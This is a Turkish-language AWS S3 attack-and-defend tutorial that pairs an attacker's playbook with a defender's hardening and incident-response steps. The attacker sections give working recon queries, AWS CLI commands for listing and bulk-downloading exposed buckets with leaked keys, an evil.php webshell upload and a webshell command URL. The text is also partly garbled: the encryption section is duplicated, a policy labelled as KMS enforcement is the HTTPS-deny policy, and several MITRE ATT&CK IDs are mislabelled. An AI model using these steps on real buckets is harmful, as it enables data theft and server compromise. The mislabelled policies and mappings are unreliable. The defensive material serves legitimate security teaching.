1.1. Halka Açık Bilinen Kova İsimleri ve Permütasyonlar

Birçok organizasyon öngörülebilir adlandırma kuralları kullanır (örn. companyname-assets, companyname-backup).
Alex, araçlar ve wordlist’ler kullanarak bu adların permütasyonlarını üretir ve test eder.

1.2. Google Dorking

Alex, gelişmiş Google aramalarıyla halka açık kova URL’lerini veya kamuya açık belgelerdeki referanslarını bulmaya çalışır.

Örnek sorgular:

site:s3.amazonaws.com companyname
inurl:.s3.amazonaws.com filetype:bak OR filetype:sql OR filetype:config
intitle:"index of /" "bucket-name"

(Block Public Access nedeniyle bu son yöntem artık daha az yaygın.)

1.3. Sertifika Şeffaflık (CT) Logları

Bir kova HTTPS ile web sitesi barındırıyorsa, adı Certificate Transparency (CT) loglarında görünebilir.

Araçlar:

ctfr.py, certstream

Örnek kullanım:

python ctfr.py -d '*.s3.amazonaws.com' -o ct_s3_logs.txt

1.4. DNS Keşfi ve Alt Alan Adı Taraması

Statik web barındırmak için kullanılan kovalar genellikle CNAME kayıtları ile onlara yönlendirilir.

Araçlar: dnsrecon, subfinder, amass

subfinder -d targetcompany.com | grep 's3.amazonaws.com'

1.5. Web Sayfaları ve Mobil Uygulamaların Analizi

İstemci tarafı kodu (JavaScript, mobil uygulama binary’leri) bazen hardcoded S3 kova adları veya URL’leri içerir.
Alex; decompiler’lar, Burp Suite gibi proxy araçları ve tarayıcı geliştirici araçlarını kullanır.

1.6. GitHub & Kamuya Açık Kod Depoları

Geliştiriciler bazen yanlışlıkla kova isimlerini, erişim anahtarlarını veya pre-signed URL oluşturma mantığını commit eder.

Araçlar: git-secrets, truffleHog, GitHub aramaları
Örnek GitHub sorgusu:

"s3.amazonaws.com" org:targetcompany language:javascript

1.7. Shodan / Censys

Shodan ve Censys gibi arama motorları, özellikle S3 bir web uygulaması altyapısının parçasıysa, kova bilgilerini ortaya çıkarabilir.

Örnek sorgular:

hostname:.s3.amazonaws.com org:"Target Company"

ya da
HTTP başlıkları / içerikleri üzerinden S3’e işaret eden kayıtlar.

🔧 Kullanılan Araçlar

S3Scanner:

s3scanner scan --buckets-file company-bucket-names.txt

Lazys3: Ruby script, kova permütasyonları için.
curl ile Manuel Kontrol:

curl -s -I "http://<bucketname>.s3.amazonaws.com" | grep "HTTP/1.1 301 Moved Permanently"

Alex’in Günlüğü

“DNS keşfi ve GitHub analiziyle birkaç potansiyel kova adı buldum.
Bunlardan biri acme-corp-dev-backups. İçeriği hemen listelemedi ama adı bile bir ipucu.”

📌 MITRE ATT&CK TTP Eşlemesi

T1596.005 (Active Scanning): S3Scanner gibi araçlarla aktif tarama.
T1593.002 (Search Open Websites/Domains): Google Dorking, Shodan kullanımı.
T1590 (Gather Victim Network Information): DNS keşfi.

resim

İlk Erişim Başlangıcı – Potansiyel Kovaları Test Etme

2.1. Halka Açık Listeleme/Okuma Hatalarının İstismarı

Bu en kolay zaferdir. Eğer bir kova anonim listeleme ve okuma izni veriyorsa, Alex sadece AWS CLI veya s3browser gibi araçları kullanabilir.
--no-sign-request çalışıyorsa, kova public’tir.

Komutlar:

# Halka açık kova nesnelerini listele
aws s3 ls s3://acme-corp-dev-backups --no-sign-request  

# Halka açık kovadan dosya indirme
aws s3 cp s3://acme-corp-dev-backups/latest_db_dump.sql.gz ./ --no-sign-request

2.2. Yanlış Yapılandırılmış ACL’ler

Kova tam anlamıyla public olmasa bile, ACL’ler “Authenticated Users” (herhangi bir AWS hesabı ile giriş yapan kullanıcı) veya spesifik harici hesaplara erişim verebilir.
Alex, kendi AWS hesabıyla deneyerek bu erişimleri test edebilir.

Komut (örnek):

aws s3api get-bucket-acl --bucket acme-corp-dev-backups

2.3. Sızdırılmış Kimlik Bilgileri / IAM Anahtarları

Eğer Recon aşamasında Alex, GitHub gibi yerlerde AWS Access Key (AKIA…) ve Secret Key bulduysa bu doğrudan giriş yoludur.

Konfigürasyon:

aws configure --profile hacked_profile  
AWS Access Key ID [None]: AKIAIOSFODNN7EXAMPLE  
AWS Secret Access Key [None]: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY  
Default region name [None]: us-east-1  
Default output format [None]: json

Kullanım:

aws s3 ls s3://some-target-bucket --profile hacked_profile

2.4. Önceden İmzalanmış (Pre-signed) URL’lerin İstismarı

Pre-signed URL’ler belirli S3 işlemleri için zaman sınırlı geçici kimlik bilgileridir.
Alex şunları yapabilir:
- Intercept (Yakalama): Web trafiğinde veya loglarda pre-signed URL’leri ele geçirme.
- Parameter Tampering: Güvensiz oluşturulan URL’lerde parametrelerle oynama (ör. object key değiştirme).
- Long Expiry: Çok uzun süreli geçerli URL bulursa, uzun süreli bir giriş noktası haline gelir.

📓 Alex’in Günlüğü

“acme-corp-dev-backups kovası halka açık listelenebilir değildi. Ama kendi AWS hesabımla denediğimde, listeleme için Access Denied aldım.
Buna rağmen şu çalıştı:

aws s3api head-object --bucket acme-corp-dev-backups --key config/db.yaml

Bu da nesne seviyesinde anonim okuma ya da özel ACL hatası demekti.
db.yaml eski veritabanı kimlik bilgilerini içeriyordu. Bingo! 🎯”

📌 MITRE ATT&CK Eşlemesi

T1078 (Valid Accounts): Sızdırılmış kimlik bilgilerini kullanma.
T1190 (Exploit Public-Facing Application): Halka açık S3 kovalarına erişim.
T1550.003 (Adversary-in-the-Middle): Pre-signed URL’lerin yakalanması / manipülasyonu.

👉 Yani bu aşama saldırganın ilk erişim için üç temel yolu gösteriyor:

Public bucket’lar,
Yanlış ACL konfigürasyonu,
Sızdırılmış kimlik bilgileri / pre-signed URL kötüye kullanımı.

resim

S3 Post-Exploitation (Saldırı Sonrası) Aşamaları ve Savunma

Saldırganın Adımları (Alex)

3.1. Nesnelerin ve Yapının Keşfi (Enumeration)

Eğer listeleme (list) yetkisi varsa, Alex bucket’ın içeriklerini ve dizin yapısını haritalandırır.

aws s3 ls s3://acme-corp-internal-docs --recursive --profile hacked_profile

3.2. Hassas Verilerin İndirilmesi

Ana hedef genellikle veri hırsızlığıdır (data theft).

aws s3 sync s3://acme-corp-pii-archive ./leaked_pii_data --profile hacked_profile

3.3. Kötü Amaçlı Dosya Yükleme (Write Access varsa)

Alex yazma izni bulursa şunları yükleyebilir:

Webshell: Eğer bucket bir web uygulamasına hizmet ediyorsa
Malware: Bucket’tan veri tüketen sistemleri enfekte etmek için
Phishing içerikleri: Şirketin alan adını kullanarak sahte içerikler barındırmak için

aws s3 cp evil.php s3://acme-corp-webapp-bucket/uploads/evil.php --profile hacked_profile

3.4. Mevcut Nesneleri Manipüle Etme (Data Integrity Attack)

Alex mevcut dosyaları indirip, değiştirip tekrar yükleyebilir:

aws s3 cp s3://acme-corp-config-bucket/app_settings.json ./ --profile hacked_profile
# Dosya lokal olarak değiştirilir...
aws s3 cp ./app_settings.json s3://acme-corp-config-bucket/app_settings.json --profile hacked_profile

3.5. Yetki Yükseltme (Privilege Escalation)

IAM Role Trust Abuse: EC2 veya Lambda gibi servislerin bucket’tan kod/config okuduğu senaryolarda Alex dosyaları manipüle ederek yetki kazanabilir.
EC2 User Data Scripts: S3 üzerinde saklanan kullanıcı veri scriptlerini değiştirerek yeni başlatılan EC2 instance’larında komut çalıştırabilir.

3.6. Veri Sızdırma (Data Exfiltration)

Doğrudan İndirme: Sync veya cp ile
Cross-Account Replication: Bucket’ı kendi kontrolündeki bir bucket’a replike edecek şekilde ayarlamak
S3’ü C2 Kanalı Olarak Kullanma: Komutları bir objeye yazıp çıktıları başka bir objeden alma (nadiren kullanılır ama mümkündür).

3.7. İzleri Gizleme (Covering Tracks)

Server Access Logs silmek: Çok zor, genellikle ayrı bucket’a yönlendirilir.
CloudTrail manipülasyonu: Yüksek ayrıcalık gerekir (StopLogging, DeleteTrail). Daha yaygın taktik hızlı exfiltration ve normal trafiğe karışmaktır.

🔗 MITRE ATT&CK Eşleştirmesi

T1530: Bulut depolama nesnesinden veri çekme
T1078.004: Ele geçirilmiş cloud hesaplarını kullanma
T1526: Cloud servis keşfi
T1098.002: Cloud instance metadata API istismarı (EC2 pivot)
T1567: Web servisi üzerinden veri sızdırma (S3 API kullanımı)

Savunmacının Adımları (Blake)

Blake’in misyonu, S3 üzerinde derinlemesine savunma (defense-in-depth) stratejisi uygulamak.
resim

IAM ve S3 Güvenliği

IAM Kullanıcıları, Grupları, Roller
- Root User asla kullanılmaz.
- İnsan kullanıcıları için IAM User açılır.
- Yetkiler gruplara atanır, kullanıcılar gruplara eklenir.
- Servisler (EC2, Lambda vb.) için IAM Roles kullanılır (Access Key değil).

Bucket Policy vs IAM Policy

Bucket Policy: Kaynak bazlı (resource-based), bucket’a doğrudan eklenir.
- Çapraz hesap (cross-account) erişimi için ideal.
- IP veya VPC kısıtlamaları için uygundur.
IAM Policy: Kimlik bazlı (identity-based).
- Kullanıcı, grup veya role atanır.
- Birden çok servisi kapsayan yetkiler için uygundur.

Değerlendirme Mantığı:

Explicit Deny > Allow
Eğer Deny yoksa, Allow varsa → erişim var.
Hiç Allow yoksa → implicit deny.

Güvenli Policy Oluşturma (Least Privilege)

s3:* yerine gereken spesifik aksiyonlar (s3:GetObject, s3:PutObject, s3:ListBucket) verilmeli.

Kaynak bazlı kısıtlama:

"Resource": "arn:aws:s3:::my-secure-bucket/uploads/*"

Koşullar (Conditions):
- aws:SourceIp → belirli IP aralıkları
- aws:SourceVpc, aws:SourceVpce → belirli VPC erişimleri
- s3:x-amz-acl → PutObject için spesifik ACL şartı
- aws:PrincipalTag + s3:ResourceTag → ABAC (Attribute-Based Access Control)

ABAC (Öznitelik Tabanlı Yetkilendirme)

Kullanıcı/rol ve S3 kaynaklarına etiketler (tags) eklenir.

Politika: erişim yalnızca tag eşleşirse izin verilir.

"Condition": {
  "StringEquals": {
    "aws:PrincipalTag/project": "${s3:ResourceTag/project}"
  }
}

Blake’in Stratejisi

Tüm S3 erişimleri IAM Roller üzerinden yönetiliyor.
Üç ayda bir IAM Policy incelemeleri yapılıyor.
Bucket Policy sadece cross-account deny ve VPC endpoint enforcement için kullanılıyor.
ABAC rollout başlatıldı.
S3 Block Public Access tüm hesap ve bucket seviyesinde aktif.

resim

S3 Güvenlik Sertleştirmesi (Security Hardening)

🔒 Public Access Kontrolleri (S3 Block Public Access)

BlockPublicAcls (true): Bir bucket ve içindeki objeler üzerinde var olan tüm public ACL’leri yok sayar.
IgnorePublicAcls (true): S3, tüm public ACL’leri yok sayar. Yeni public ACL’ler uygulanamaz.
BlockPublicPolicy (true): Public erişim veren bir Bucket Policy konulmaya çalışılırsa bu isteği reddeder.
RestrictPublicBuckets (true): Public policy’ye sahip bucket’lara erişimi yalnızca AWS servis yetkililerine ve bucket sahibinin hesabındaki yetkili kullanıcılara kısıtlar.

aws s3api put-public-access-block \
--bucket my-secure-bucket \
--public-access-block-configuration \
"BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true"

Veri Şifreleme (Data Encryption for S3)

1. Encryption in Transit (Taşınırken Şifreleme)

HTTPS (TLS) zorunlu kullanılmalı.

Bucket policy ile HTTP erişimlerini reddetmek mümkün:

{
  "Sid": "DenyInsecureTransport",
  "Effect": "Deny",
  "Principal": "*",
  "Action": "s3:*",
  "Resource": "arn:aws:s3:::my-secure-bucket/*",
  "Condition": {
    "Bool": { "aws:SecureTransport": "false" }
  }
}

2. Encryption at Rest (Dinamik Veri Şifreleme)

SSE-S3: Amazon S3 tarafından yönetilen anahtarlarla (AES-256) şifreleme. Basit uygulama.
SSE-KMS: AWS Key Management Service (KMS) tarafından yönetilen CMK’ler (Customer Master Keys). Daha fazla kontrol, audit (CloudTrail logları), özel müşteri anahtarları kullanılabilir.
SSE-C: Müşteri tarafından sağlanan anahtarlarla şifreleme. Anahtar yönetimi karmaşık.

🔧 Varsayılan bucket şifrelemesini açmak için:

aws s3api put-bucket-encryption \
--bucket my-secure-bucket \
--server-side-encryption-configuration '{
  "Rules": [
    {
      "ApplyServerSideEncryptionByDefault": {
        "SSEAlgorithm": "AES256"
      }
    }
  ]
}'

SSE-KMS zorunlu hale getirmek için Bucket Policy:

{
  "Sid": "DenyInsecureTransport",
  "Effect": "Deny",
  "Principal": "*",
  "Action": "s3:*",
  "Resource": "arn:aws:s3:::my-secure-bucket/*",
  "Condition": {
    "Bool": { "aws:SecureTransport": "false" }
  }
}

Encryption at Rest (Dinamik Veri Şifreleme)

SSE-S3: Amazon S3 tarafından yönetilen anahtarlarla (AES-256) şifreleme. Basit uygulama.
SSE-KMS: AWS Key Management Service (KMS) tarafından yönetilen CMK’ler (Customer Master Keys). Daha fazla kontrol, audit (CloudTrail logları), özel müşteri anahtarları kullanılabilir.
SSE-C: Müşteri tarafından sağlanan anahtarlarla şifreleme. Anahtar yönetimi karmaşık.

🔧 Varsayılan bucket şifrelemesini açmak için:

aws s3api put-bucket-encryption \
--bucket my-secure-bucket \
--server-side-encryption-configuration '{
  "Rules": [
    {
      "ApplyServerSideEncryptionByDefault": {
        "SSEAlgorithm": "AES256"
      }
    }
  ]
}'

SSE-KMS zorunlu hale getirmek için Bucket Policy:

{
  "Sid": "DenyUnencryptedObjectUploads",
  "Effect": "Deny",
  "Principal": "*",
  "Action": "s3:PutObject",
  "Resource": "arn:aws:s3:::my-secure-bucket/*",
  "Condition": {
    "Null": { "s3:x-amz-server-side-encryption": "true" },
    "StringNotEquals": { "s3:x-amz-server-side-encryption": "aws:kms" }
  }
}

Blake’in Stratejisi: “Tüm bucket’larda varsayılan şifreleme etkinleştirilmiştir, öncelikle hassas veriler için CMK’ları kullanan SSE-KMS, anahtar politikaları ve denetim izleri üzerinde ince ayarlı kontrol sağlar.
HTTPS, bucket politikaları aracılığıyla zorlanır.

Logging & Monitoring for S3

1. S3 Server Access Logs

Bucket’a yapılan her isteğin detaylarını kaydeder:
- İstek sahibi (requester)
- Bucket adı
- İstek zamanı
- İşlem türü (action)
- Yanıt durumu (response status)
- Hata kodu (error code)
Loglar farklı bir bucket’a gönderilmelidir. (⚠️ Bir bucket kendi loglarını kendisine yazamaz)
Kullanım Senaryosu: Olay inceleme (forensics), güvenlik analizi, erişim pattern’lerinin izlenmesi

🔧 Aktifleştirme Örneği:

Güvenli ayrı bir bucket’a yönlendirilmelidir.
Kullanım Alanları: Olay incelemesi (forensics), güvenlik analizi.


# (Requires a log delivery policy on the target bucket)
aws s3api put-bucket-logging --bucket my-source-bucket \
--bucket-logging-status '{
"LoggingEnabled": {
"TargetBucket": "my-log-bucket",
"TargetPrefix": "s3-access-logs/my-source-bucket/"
}
}'

2. AWS CloudTrail

Management Events: Bucket/policy değişiklikleri gibi yönetimsel işlemleri kaydeder. Varsayılan olarak aktiftir.
Data Events: Nesne (object) seviyesindeki işlemleri kaydeder (GetObject, PutObject, DeleteObject).
- Varsayılan olarak kapalıdır, manuel olarak bucket bazında açılması gerekir.
- Yüksek hacimli log üretir → maliyetli olabilir.
Kullanım Senaryosu: Denetim (audit), uyumluluk, operasyonel hata ayıklama, güvenlik olay incelemesi

🔧 Data Events Aktifleştirme Örneği:


aws cloudtrail put-event-selectors --trail-name my-trail \
--event-selectors '[
{
"ReadWriteType": "All",
"IncludeManagementEvents": true,
"DataResources": [
{ "Type": "AWS::S3::Object", "Values": ["arn:aws:s3:::my-data-bucket/"] }
]
}
]

3. Amazon GuardDuty (S3 Protection)

Sürekli izleme: CloudTrail Management Events + S3 Data Events
Tespit ettiği tehditler:
- Şüpheli veri erişim pattern’leri (örn. anormal GetObject aktiviteleri)
- Bilinen kötü niyetli IP adreslerinden API çağrıları
- Logging’in devre dışı bırakılmaya çalışılması
- Bucket policy manipülasyonu
Ekstra özellik: S3 için Malware Protection → yüklenen objelerde kötü amaçlı yazılım taraması yapılabilir

🔧 S3 Malware Protection Örneği:

# Not: Bu komut aslında EBS için daha yaygın. 
# S3 için ayar, GuardDuty console veya API üzerinden yapılır.

# Örnek: Belirli bir bucket için malware scan ayarlama
aws guardduty update-malware-scan-settings --detector-id <detector-id> \
--scan-resource-criteria '{"S3Bucket":{"Includes":[{"Name":"my-sensitive-bucket"}]}}' \
--ebs-volumes MalwareProtectionStatus=ENABLED

4. Amazon Macie

Makine öğrenimi + pattern matching ile S3 üzerindeki hassas verileri bulur, sınıflandırır, korur.
Tespit edilen veri türleri:
- Kişisel veriler (PII)
- Finansal veriler
- Credentials (anahtar/parola vb.)
Ek özellikler:
- Unencrypted bucket’ları bulma
- Riskli erişim pattern’lerini raporlama
Aktifleştirme: Console üzerinden. Hedef bucket’lar için Macie job tanımlanır.

5. CloudWatch Alarms & EventBridge

CloudWatch Alarms:
- S3 metriklerine göre alarm kurabilirsiniz (örn. NumberOfObjects, BucketSizeBytes)
- CloudTrail metriklerine göre alarm (örn. çok sayıda AccessDenied)
EventBridge:
- GuardDuty S3 bulgularına göre otomatik aksiyon tetikleme (örn. Lambda fonksiyon çağırma)

🔧 EventBridge Örneği (GuardDuty tetikleyince Lambda çalıştırma):

{
  "Source": ["aws.guardduty"],
  "DetailType": ["GuardDuty Finding"],
  "Detail": {
    "severity": [7, 8, 9],
    "resource": { "resourceType": ["S3Bucket"] }
  }
}

Blake’in Stratejisi (Savunma Senaryosu)

Tüm server access logları + CloudTrail logları → Merkezi, değiştirilemez (immutable) log arşiv bucket’ına gönderiliyor.
GuardDuty + S3 Protection + Malware Scanning aktif.
Amazon Macie → Hassas verilerin olduğu bucket’ları her gece tarıyor.
EventBridge kuralları → Kritik GuardDuty bulgularında otomatik bildirim ve müdahale tetikleniyor.

resim

7. S3 Veri Dayanıklılığı & Veri Yönetimi

7.1. Versioning (Sürümleme)

Tüm kritik bucket’larda versioning aktif edilmelidir.
Amaç:
- Yanlışlıkla silme (delete) veya üzerine yazma (overwrite) olaylarına karşı koruma
- Geri alma (rollback) işlemlerine destek

🔧 Aktifleştirme Komutu:

aws s3api put-bucket-versioning \
--bucket my-versioned-bucket \
--versioning-configuration Status=Enabled

7.2. S3 Object Lock

WORM (Write Once, Read Many) uyumluluğu sağlar.
Modlar:
- Governance Mode: Belirli IAM izinlerine sahip kullanıcılar retention ayarlarını aşabilir veya nesneleri silebilir.
- Compliance Mode: Hiçbir kullanıcı (root dahil) retention süresi boyunca nesneyi silemez veya üzerine yazamaz.
Not: Bucket Object Lock özelliği oluşturma sırasında etkinleştirilmelidir. Sonradan eklenemez.

🔧 Örnek: Object Lock + 365 Günlük COMPLIANCE Retention

aws s3api put-object-lock-configuration --bucket my-locked-bucket \
--object-lock-configuration '{
  "ObjectLockEnabled": "Enabled",
  "Rule": {
    "DefaultRetention": { "Mode": "COMPLIANCE", "Days": 365 }
  }
}'

7.3. Replication (CRR / SRR)

Nesneleri başka bir bucket’a otomatik kopyalar:
- Cross-Region Replication (CRR): Başka bir AWS bölgesine (disaster recovery, global erişim için).
- Same-Region Replication (SRR): Aynı bölge içinde (log toplama, ayrı erişim alanı için).
Önkoşullar:
- Kaynak ve hedef bucket’larda versioning açık olmalı.
- IAM rolü tanımlanarak S3’e replikasyon izni verilmelidir.

🔧 Kullanım Senaryoları:

Felaket kurtarma (Disaster Recovery)
Dağıtık kullanıcılar için düşük gecikmeli erişim
Log konsolidasyonu

7.4. Lifecycle Policies

Nesneleri farklı storage sınıflarına otomatik taşıma veya süresi dolduğunda silme.
Kullanım Senaryoları:
- Maliyet optimizasyonu
- Veri saklama politikalarının uygulanması

🔧 Örnek Lifecycle Policy

logs/ prefix’li nesneleri 90 gün sonra Glacier’e taşı
365 gün sonra tamamen sil

{
  "ID": "ArchiveOldLogs",
  "Status": "Enabled",
  "Filter": { "Prefix": "logs/" },
  "Transitions": [
    { "Days": 90, "StorageClass": "GLACIER" }
  ],
  "Expiration": { "Days": 365 }
}

CLI ile uygulama:

aws s3api put-bucket-lifecycle-configuration \
--bucket my-archive-bucket \
--lifecycle-configuration file://lifecycle.json

Stratejik Özet

Versioning → Yanlışlıkla silme/overwrite koruması
Object Lock (Compliance Mode) → Regülasyon uyumu (WORM, finans/sağlık sektöründe zorunlu olabilir)
Replication (CRR/SRR) → Felaket kurtarma, çoklu-bölge erişim
Lifecycle Policies → Maliyet azaltma + Veri saklama politikaları

8. S3 Güvenlik – Pre-signed URLs, Auditing & Incident Response

8.1. Pre-signed URLs (Savunma Perspektifi)

Risk: Pre-signed URL yanlış yönetilirse saldırgan tarafından dosya yükleme / silme için kullanılabilir.
Savunma Stratejisi:

Kısa Süreli URL: ExpiresIn süresini minimumda tut (ör. 300 saniye).
Least Privilege IAM: URL üreten rol sadece gerekli izinlere sahip olmalı (örn. s3:PutObject sadece belirli bir key için).
Content-MD5: Yüklenen objenin bütünlüğünü kontrol etmek için Content-MD5 header zorunlu kıl.
Sunucu Taraflı Validasyon: Upload sonrası Lambda ile tetikleme → Dosya tipi, boyut kontrolü + malware taraması.

🔧 Python (Boto3) Örneği:

import boto3
import logging
from botocore.client import Config
from botocore.exceptions import ClientError

s3_client = boto3.client('s3', region_name='us-east-1', config=Config(signature_version='s3v4'))

try:
    response = s3_client.generate_presigned_url(
        'put_object',
        Params={
            'Bucket': 'my-upload-bucket',
            'Key': 'user_uploads/image.jpg',
            'ContentType': 'image/jpeg'
        },
        ExpiresIn=300  # 5 dakika
    )
    print(response)
except ClientError as e:
    logging.error(e)
    # return None

8.2. Vulnerability Management & Auditing for S3

AWS Config

Sürekli izleme ve uyumluluk kuralları
Örnek kurallar:
- s3-bucket-public-read-prohibited
- s3-bucket-ssl-requests-only
- s3-bucket-logging-enabled

Üçüncü Parti Araçlar

Cloud Custodian → Policy bazlı otomatik remediate

policies:
  - name: s3-unencrypted-buckets
    resource: s3
    filters:
      - type: value
        key: "ServerSideEncryptionConfiguration.Rules[0].ApplyServerSideEncryptionByDefault.SSEAlgorithm"
        value: absent
    actions:
      - type: notify
        template: default.html
        subject: "Unencrypted S3 Bucket Found!"
        to:
          - security-team@example.com
        transport:
          type: sqs
          queue: cloud-custodian-mailer

Prowler → CLI tabanlı AWS güvenlik denetimi, CIS benchmark’lar dahil

CloudQuery → Cloud konfigürasyonlarını SQL ile sorgulama

SELECT arn, name, region, server_side_encryption_configuration
FROM aws_s3_buckets
WHERE server_side_encryption_configuration IS NULL;

Manuel Denetimler

Düzenli S3 permission review
Penetrasyon testlerinde mutlaka S3 scope’a dahil edilmeli

🎭 8.3. Gerçek Senaryo (Acme Corp)

Kurulum:

Bucket: acme-webapp-user-uploads (profil fotoğrafları için)

🔴 Saldırgan (Alex)

Recon (Gün 1): Bucket public değil (Access Denied → ✅).
ACL Probing: Kendi AWS hesabıyla obje denemeleri.
Exploit Upload Feature (Gün 2):
- Client-side validation var ama server-side yok → profile.php yükletiyor.
- Pre-signed URL → PHP webshell upload ediyor.
Webshell Access:

http://acme-webapp-user-uploads.s3-website-us-east-1.amazonaws.com/user_123/profile.php?cmd=ls

1. → Komut çalıştırıyor.

Persistence & Exfiltration (Gün 3): DB cred bulup sızdırıyor.

🟢 Savunmacı (Blake)

İlk Alarm:
- GuardDuty S3 Malware Protection → MaliciousFileUploadedToS3
- Alternatif: CloudTrail Data Event → .php upload’ı EventBridge/Lambda ile tetiklenebilir
Investigation:
- GuardDuty alert → Slack
- CloudTrail → hangi IAM rol pre-signed URL üretti?
- S3 Access Logs → GetObject request analizi
Containment:
```
aws s3api delete-object --bucket acme-webapp-user-uploads --key user_123/profile.php
```
- - Kötü objeyi sil
- Gerekirse PutObject deny eden bucket policy uygula
- Web server loglarını incele

Eradication:
- Uygulama fix: Server-side validation eklenmeli
- Bucket taraması → başka kötü dosya var mı?
- Web server hardening
Recovery:
- Credential rotation
- Gerekirse restore from backup
Lessons Learned:
- Dev’lere secure upload eğitimi
- WAF kuralları → php, exe upload engeli
- EventBridge → anormal extension alarmı
- Gereksizse bucket’ı website endpoint olarak açma
Stratejik Dersler
Pre-signed URL çok güçlü ama yanlış konfig ile ölümcül olabilir.
S3 güvenliği → sadece bucket policy değil, uygulama + network + IAM + logging + monitoring katmanlarıyla ele alınmalı.
CloudTrail + GuardDuty + Config + Custodian → birlikte çalıştığında saldırı zinciri kısa sürede kırılabilir.

1. Olay Müdahalesi Senaryosu (Örnek: Kötü Amaçlı Upload)

Adımlar:

Kullanıcıyı Kilitle (Lock User): Eğer saldırgan bir uygulama hesabı üzerinden upload yaptıysa, o kullanıcı hesabı hemen askıya alınır.
Geçici Bucket Policy Uygula: Yeni dosya yüklemeleri engellenir.

{
  "Sid": "TemporaryBlockUploads",
  "Effect": "Deny",
  "Principal": "*",
  "Action": "s3:PutObject",
  "Resource": "arn:aws:s3:::acme-webapp-user-uploads/*"
}

- Web Sunucu Loglarını İncele: Yüklenen dosyaya erişim olup olmadığını, komut çalıştırılıp çalıştırılmadığını tespit et.

Eradikasyon (Day 2-3):

Uygulamadaki “file type validation” zafiyetini kapat.
Pre-signed URL sadece güvenli dosya tipleri için oluşturulmalı.
Bucket içindeki tüm dosyalar taranmalı.
PHP çalıştırma açığı varsa (genelde web server config hatası), kapatılmalı.

Recovery (Day 3):

Etkilenen sistemler gerekiyorsa yedekten dönülür.
Ele geçirilen credential’lar (ör. DB şifreleri) hemen rotate edilir.

Lessons Learned (Day 4+):

Geliştiricilere güvenli dosya yükleme eğitimi.
Pre-signed URL’ler için sıkı validation.
WAF kuralları (şüpheli uzantılar blok).
Daha özel CloudWatch alarmları.
Bucket’ların web site endpoint olarak açılmasının gerekliliği gözden geçirilmeli.
S3 Object Lambda ile upload/download öncesi ek validasyon veya maskeleme yapılabilir.
S3 Access Points ile her uygulama için ayrı erişim noktası oluşturulmalı.

2. Saldırganın Araçları (Alex’in Toolkit’i)

Eylem	Komut / Araç
Public Bucket bulma	`aws s3 ls s3://<bucket> --no-sign-request` , S3Scanner, Google Dorks (`site:s3.amazonaws.com`)
Bucket içeriğini listeleme	`aws s3 ls s3://<bucket> --recursive`
Dosya indirme	`aws s3 cp s3://<bucket>/<key> ./`
Dosya yükleme	`aws s3 cp ./file s3://<bucket>/<key>`
Bucket ACL kontrolü	`aws s3api get-bucket-acl --bucket <bucket>`
Sızdırılan Key kullanımı	`aws configure --profile hacked` + tüm AWS CLI komutları
JS dosyalarında bucket arama	`grep -r "s3.amazonaws.com" ./js_files/`
Shodan araması	`hostname:.s3.amazonaws.com`

3. Savunma Araçları (Blake’in Arsenal’i)

Eylem	Komut / Policy
Public Access blokla	`aws s3api put-public-access-block --bucket <bucket> --public-access-block-configuration ...`
Default Encryption aç	`aws s3api put-bucket-encryption --bucket <bucket> ...`
Versioning aç	`aws s3api put-bucket-versioning --bucket <bucket> --versioning-configuration Status=Enabled`
Access Logging aç	`aws s3api put-bucket-logging --bucket <src_bucket> --bucket-logging-status '{...}'`
CloudTrail Data Events	`aws cloudtrail put-event-selectors --trail-name <trail> ...`
HTTPS zorunlu	Policy: `{ "Bool": { "aws:SecureTransport": "false" } }`
KMS ile şifreleme zorunlu	Policy: `{ "StringNotEquals": { "s3:x-amz-server-side-encryption": "aws:kms" } }`
IP ile sınırla	`{ "NotIpAddress": { "aws:SourceIp": "1.2.3.4/32" } }`
VPC Endpoint zorunlu	`{ "StringNotEquals": { "aws:sourceVpce": "vpce-12345678" } }`
GuardDuty S3 koruması	Konsol → S3 Protection Enable
Macie	Sensitive data discovery jobs
AWS Config	`s3-bucket-public-read-prohibited`, `s3-bucket-ssl-requests-only`
Pre-signed URL üret	`boto3.client('s3').generate_presigned_url(...)`
Şüpheli dosyayı karantinaya al	`aws s3 mv s3://<src>/<obj> s3://<quarantine>/<obj>`

4. S3 Güvenliği için Temel AWS Servisleri

IAM → Yetkilendirme
CloudTrail → Loglama
GuardDuty → Tehdit tespiti
Macie → Hassas veri analizi
AWS Config → Uyumluluk denetimi
KMS → Şifreleme
WAF → Web saldırılarını önleme
EventBridge + Lambda → Otomatik response

5. Temel Güvenlik İlkeleri

Least Privilege → Gereksiz izin verme
Block Public Access → Her zaman kapalı tut
Encrypt Data → Hem at rest (AES256/KMS) hem in-transit (HTTPS)
Log Everything → CloudTrail + S3 Access Logs
Monitor Actively → GuardDuty, Macie, CloudWatch
Automate → Config, Custodian, EventBridge + Lambda
Protect Credentials → IAM roles, kısa süreli credential, güvenli pre-signed URL
Regular Audit → Politikaları ve erişimi denetle
Lifecycle Management → Versioning, Object Lock, Lifecycle Rules

6. Yeni Tehditler & Gelecek

Ransomware → Cloud storage hedefliyor.
S3 Batch misconfig exploiti.
AI tabanlı saldırılar → otomatik keşif & veri analizi.
Savunmada AI → Macie & GuardDuty → ML tabanlı anomali tespiti.
Data Sovereignty → Nitro Enclaves + S3 ile veri ülke sınırında kalmalı.

📌 Özet:
S3 güvenliği = konfigürasyon + izleme + otomasyon üçlüsü.
Saldırgan (Alex) sürekli yeni yollar bulur, savunmacı (Blake) hem AWS servislerini hem de “temel güvenlik prensiplerini” uygularsa S3 güçlü bir veri deposu olur.

Cloud Security 3

AWS EC2 Attack & Defend – Hızlı Özet

EC2’nin Önemi

EC2 = Cloud’un kalbi.
Her instance = bir bina; Security Group = kapı; Uygulama = içindeki kişi.
Yanlış yapılandırma → saldırganın şehre giriş bileti.

Temel EC2 Güvenlik Konseptleri ÖZET(altta daha detaylısı var):

Özellik	Ne işe yarar?	Zafiyet Riski
Security Groups	Stateful firewall	0.0.0.0/0 → brute force & unauthorized access
IMDS (Metadata Service)	Instance data + temp credentials	IMDSv1 → SSRF → credential leak
User Data Scripts	Boot sırasında config	Kötü script → root level code execution
IAM Roles (Instance Profiles)	EC2’nin AWS API erişimi	Over-privileged role → lateral movement
SSH Key Pairs	Admin erişimi	Paylaşılmış/çalıntı key = unauthorized access
EBS Volumes	Kalıcı disk	Encrypt edilmezse data leak
Snapshots	EBS backup	Public olursa sensitive data leak

AWS EC2 Saldırı ve Savunma: Bulutun Atan Kalbi İçin Mücadele

